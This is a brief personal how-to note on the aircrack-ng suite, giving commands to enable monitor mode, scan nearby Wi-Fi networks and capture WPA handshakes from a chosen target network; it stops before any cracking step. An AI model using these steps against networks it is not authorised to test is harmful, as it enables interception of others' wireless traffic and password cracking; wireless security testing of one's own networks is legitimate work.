Aircrack

Install Aircrack

sudo apt install aircrack-ng

Kill any process * important *

sudo airmon-ng check kill

If any processes failed to stop use sudo systemctl stop [process] to kill process

Switch wifi to monitor mode from manage mode

sudo airmon-ng start wlp1s0

Double check wifi hardware is set to monitor

iwconfig

Begin scanning

sudo airodump-ng [device] In my case device is [wlp1s0mon]

Sort colums using s key

To start catching handshakes we will use this command to target specific 'bssid'

sudo airodump-ng -w target -c 11 --bssid [bssid number] [device]
[ -w target ] is telling airodump to save everything to a file called target. The word target can be changed to anything you want the file to be.
[ -c 11 ] is telling it the target is on channel 11 and
[ --bssid ] is the Mac Address